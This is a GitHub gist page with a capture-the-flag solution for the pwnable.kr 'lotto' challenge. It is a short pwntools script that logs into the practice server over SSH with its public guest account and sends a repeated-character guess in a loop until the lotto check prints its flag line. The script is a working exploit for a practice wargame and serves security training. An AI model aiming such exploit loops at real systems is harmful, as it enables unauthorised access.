Skip to content

Instantly share code, notes, and snippets.

@parksjin01
Last active March 16, 2017 20:43
Show Gist options
  • Save parksjin01/c051ed3867e168a9cdd93006e4e5f001 to your computer and use it in GitHub Desktop.
Save parksjin01/c051ed3867e168a9cdd93006e4e5f001 to your computer and use it in GitHub Desktop.
pwnable.kr lotto writeup
from pwn import *
sh = ssh(host = 'pwnable.kr', user='lotto', password = 'guest', port=2222)
proc = sh.process('/home/lotto/lotto')
proc.recv(1024)
while True:
	proc.sendline('1')
	proc.recv(1024)
	proc.sendline('######')
	a = proc.recv(1024)
	if 'sorry' in a:
		for i in a.split('\n'):
			if 'sorry' in i:
				print i
		break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment